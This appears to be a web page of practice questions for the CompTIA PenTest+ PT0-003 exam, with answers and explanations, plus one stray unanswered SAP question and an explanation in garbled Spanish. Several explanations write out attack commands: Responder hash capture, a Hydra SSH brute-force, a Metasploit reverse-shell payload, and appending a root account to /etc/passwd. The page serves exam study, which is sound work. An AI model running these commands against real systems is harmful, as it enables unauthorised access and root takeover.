Practice Free PT0-003 Exam Online Questions
Which of the following API types does SAP recommend to use to achieve clean core integrations? Note: There are 2 correct answers to this question.
- A . SOAP
- B . RFC
- C . IDoc
- D . OData
A penetration tester enumerates a legacy Windows host on the same subnet. The tester needs to select exploit methods that will have the least impact on the host’s operating stability.
Which of the following commands should the tester try first?
- A . responder -I eth0 john responder_output.txt <rdp to target>
- B . hydra -L administrator -P /path/to/pwlist.txt -t 100 rdp://<target_host>
- C . msf > use <module_name> msf > set <options> msf > set PAYLOAD windows/meterpreter/reverse_tcp msf > run
- D . python3 ./buffer_overflow_with_shellcode.py <target> 445
A
Explanation:
Responder is a tool used for capturing and analyzing NetBIOS, LLMNR, and MDNS queries to perform various man-in-the-middle (MITM) attacks. It can be used to capture hashed credentials, which can then be cracked offline. Using Responder has the least impact on the host’s operating stability compared to more aggressive methods like buffer overflow attacks or payload injections.
Understanding Responder:
Purpose: Responder is used to capture NTLMv2 hashes from a Windows network.
Operation: It listens on the network for LLMNR, NBT-NS, and MDNS requests and responds to them, tricking the client into authenticating with the attacker’s machine.
Command Breakdown:
responder -I eth0: Starts Responder on the network interface eth0.
john responder_output.txt: Uses John the Ripper to crack the hashes captured by Responder.
<rdp to target>: Suggests the next step after capturing credentials might involve using RDP with the cracked password, but the initial capture is passive and low impact.
Why This is the Best Choice:
Least Impact: Responder passively captures network traffic without interacting directly with the target host’s system processes.
Stealth: It operates quietly on the network, making it less likely to cause stability issues or be detected by host-based security mechanisms.
Reference from Pentesting Literature:
Tools like Responder are discussed in penetration testing guides for initial reconnaissance and credential gathering without causing significant disruptions.
HTB write-ups frequently mention the use of Responder in network-based attacks to capture credentials safely.
Step-by-Step ExplanationReference: Penetration Testing – A Hands-on Introduction to Hacking HTB Official Writeups
During a penetration test, the tester uses a vulnerability scanner to collect information about any possible vulnerabilities that could be used to compromise the network.
The tester receives the results and then executes the following command:
snmpwalk -v 2c -c public 192.168.1.23
Which of the following is the tester trying to do based on the command they used?
- A . Bypass defensive systems to collect more information.
- B . Use an automation tool to perform the attacks.
- C . Script exploits to gain access to the systems and host.
- D . Validate the results and remove false positives.
D
Explanation:
The command snmpwalk -v 2c -c public 192.168.1.23 is used to query SNMP (Simple Network Management Protocol) data from a device. Here’s the purpose in the context provided: SNMP Enumeration:
Function: snmpwalk is used to retrieve a large amount of information from the target device using
SNMP.
Version: -v 2c specifies the SNMP version.
Community String: -c public specifies the community string, which is essentially a password for SNMP queries.
Purpose of the Command:
Validate Results: The tester uses SNMP to gather detailed information about the network devices to confirm the findings of the vulnerability scanner and remove any false positives.
Detailed Information: SNMP can provide detailed information about device configurations, network interfaces, and other settings that can validate the scanner’s results.
Comparison with Other Options:
Bypassing Defensive Systems (A): Not directly related to SNMP enumeration.
Using Automation Tools (B): While SNMPwalk is automated, the primary purpose here is validation.
Script Exploits (C): SNMPwalk is not used for scripting exploits but for information gathering.
By using snmpwalk, the tester is validating the results from the vulnerability scanner and removing any false positives, ensuring accurate reporting.
A previous penetration test report identified a host with vulnerabilities that was successfully exploited. Management has requested that an internal member of the security team reassess the host to determine if the vulnerability still exists.
Part 1:
. Analyze the output and select the command to exploit the vulnerable service.
Part 2:
. Analyze the output from each command.
・ Select the appropriate set of commands to escalate privileges.
・ Identify which remediation steps should be taken.
hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
The appropriate set of commands to escalate privileges is:
echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd
The remediations that should be taken after the successful privilege escalation are:
Remove the SUID bit from cp.
Make backup script not world-writable.
Comprehensive Step-by-Step Explanation of the Simulation Part 1: Exploiting Vulnerable Service Nmap Scan Analysis
Command: nmap -sC -T4 192.168.10.2
Purpose: This command runs a default script scan with timing template 4 (aggressive).
Output:
bash
Copy code
Port State Service
22/tcp open ssh
23/tcp closed telnet
80/tcp open http
111/tcp closed rpcbind
445/tcp open samba
3389/tcp closed rdp
Ports open are SSH (22), HTTP (80), and Samba (445).
Enumerating Samba Shares
Command: enum4linux -S 192.168.10.2
Purpose: To enumerate Samba shares and users.
Output:
makefile
Copy code
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x42]
user:[syslog] rid:[0x4ba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[lowpriv] rid:[0x3fa]
We identify a user lowpriv.
Selecting Exploit Command
Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22
Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords.
-l lowpriv: Specifies the username.
-P 500-worst-passwords.txt: Specifies the password list.
-t 4: Uses 4 tasks/threads for the attack.
ssh://192.168.10.2:22: Specifies the SSH service and port.
Executing the Hydra Command
Result: Successful login as lowpriv user if a match is found.
Part 2: Privilege Escalation and Remediation Finding SUID Binaries and Configuration Files Command: find / -perm -2 -type f 2>/dev/null | xargs ls -l Purpose: To find world-writable files.
Command: find / -perm -u=s -type f 2>/dev/null | xargs ls -l
Purpose: To find files with SUID permission.
Command: grep "/bin/bash" /etc/passwd | cut -d’:’ -f1-4,6,7
Purpose: To identify users with bash shell access.
Selecting Privilege Escalation Command
Command: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd
Purpose: To create a new root user entry in the passwd file.
root2: Username.
5ZOYXRFHVZ7OY: Password hash.
::0:0: User and group ID (root).
/root: Home directory.
/bin/bash: Default shell.
Executing the Privilege Escalation Command
Result: Creation of a new root user root2 with a specified password.
Remediation Steps Post-Exploitation
Remove SUID Bit from cp:
Command: chmod u-s /bin/cp
Purpose: Removing the SUID bit from cp to prevent misuse.
Make Backup Script Not World-Writable:
Command: chmod o-w /path/to/backup/script
Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications.
Execution and Verification
Verifying Hydra Attack:
Run the Hydra command and monitor for successful login attempts.
Verifying Privilege Escalation:
After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges.
Implementing Remediation:
Apply the remediation commands to secure the system and verify the changes have been implemented.
By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.
You are a penetration tester running port scans on a server.
INSTRUCTIONS
Part 1: Given the output, construct the command that was used to generate this output from the available options.
Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lvl1sec13/fingerprinting-os-and-services-running-on-a-target-host
You are a penetration tester running port scans on a server.
INSTRUCTIONS
Part 1: Given the output, construct the command that was used to generate this output from the available options.
Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lvl1sec13/fingerprinting-os-and-services-running-on-a-target-host
Which of the following can an access control vestibule help deter?
- A . USB drops
- B . Badge cloning
- C . Lock picking
- D . Tailgating
D
Explanation:
Un access control vestibule (también conocido como mantrap) es una estructura de seguridad que permite que solo una persona entre a la vez a través de dos puertas controladas. Este tipo de estructura está diseñada especÃficamente para evitar tailgating, donde una persona no autorizada intenta entrar siguiendo a una autorizada.
No previene ataques como la clonación de credenciales (badge cloning), ni el uso de USB maliciosos, ni técnicas de lock picking.
Referencia: PT0-003 Objective 2.1 C Physical security controls, including mantraps and their use against tailgating.
A penetration tester writes a Bash script to automate the execution of a ping command on a Class C network:
bash
for var in ―MISSING TEXT―
do
ping -c 1 192.168.10.$var
done
Which of the following pieces of code should the penetration tester use in place of the ―MISSING TEXT― placeholder?
- A . crunch 1 254 loop
- B . seq 1 254
- C . echo 1-254
- D . {1.-254}
B
Explanation:
Correct Syntax for a Range Loop in Bash:
The seq command generates a sequence of numbers in a specified range, which is ideal for iterating over IP addresses in a Class C subnet (1C254).
Example: seq 1 254 will output numbers 1, 2, …, 254 sequentially.
Explanation of Other Options:
A (crunch): The crunch command is used for wordlist generation and is unrelated to looping in Bash.
C (echo 1-254): This would output "1-254" as a string instead of generating a numeric range.
D ({1.-254}): This is incorrect Bash syntax and would result in a script error.
Final Script:
bash
for var in $(seq 1 254)
do
ping -c 1 192.168.10.$var
done
CompTIA Pentest+
Reference: Domain 4.0 (Penetration Testing Tools)
Bash Scripting and Automation
A penetration tester needs to complete cleanup activities from the testing lead.
Which of the following should the tester do to validate that reverse shell payloads are no longer running?
- A . Run scripts to terminate the implant on affected hosts.
- B . Spin down the C2 listeners.
- C . Restore the firewall settings of the original affected hosts.
- D . Exit from C2 listener active sessions.
A
Explanation:
To ensure that reverse shell payloads are no longer running, it is essential to actively terminate any implanted malware or scripts.
Here’s why option A is correct:
Run Scripts to Terminate the Implant: This ensures that any reverse shell payloads or malicious implants are actively terminated on the affected hosts. It is a direct and effective method to clean up after a penetration test.
Spin Down the C2 Listeners: This stops the command and control listeners but does not remove the implants from the hosts.
Restore the Firewall Settings: This is important for network security but does not directly address the termination of active implants.
Exit from C2 Listener Active Sessions: This closes the current sessions but does not ensure that
implants are terminated.
Reference from Pentest:
Anubis HTB: Demonstrates the process of cleaning up and ensuring that all implants are removed after an assessment.
Forge HTB: Highlights the importance of thoroughly cleaning up and terminating any payloads or implants to leave the environment secure post-assessment.
Which of the following methods should a physical penetration tester employ to access a rarely used door that has electronic locking mechanisms?
- A . Lock picking
- B . Impersonating
- C . Jamming
- D . Tailgating
- E . Bypassing
E
Explanation:
For electronic locking mechanisms, traditional lock picking is ineffective. Instead, bypassing techniques are often used, such as:
Triggering the emergency release.
Using a shim or bypass tool.
Exploiting wiring faults or RFID vulnerabilities.
This method doesn’t involve human deception (impersonation), social engineering (tailgating), or causing interference (jamming). It focuses on exploiting the electronic door system without needing to "unlock" it traditionally.
CompTIA PenTest+
Reference: PT0-003 Objective 1.3: Given a scenario, perform a physical assessment.
CompTIA emphasizes the distinction between bypassing and other physical intrusion methods.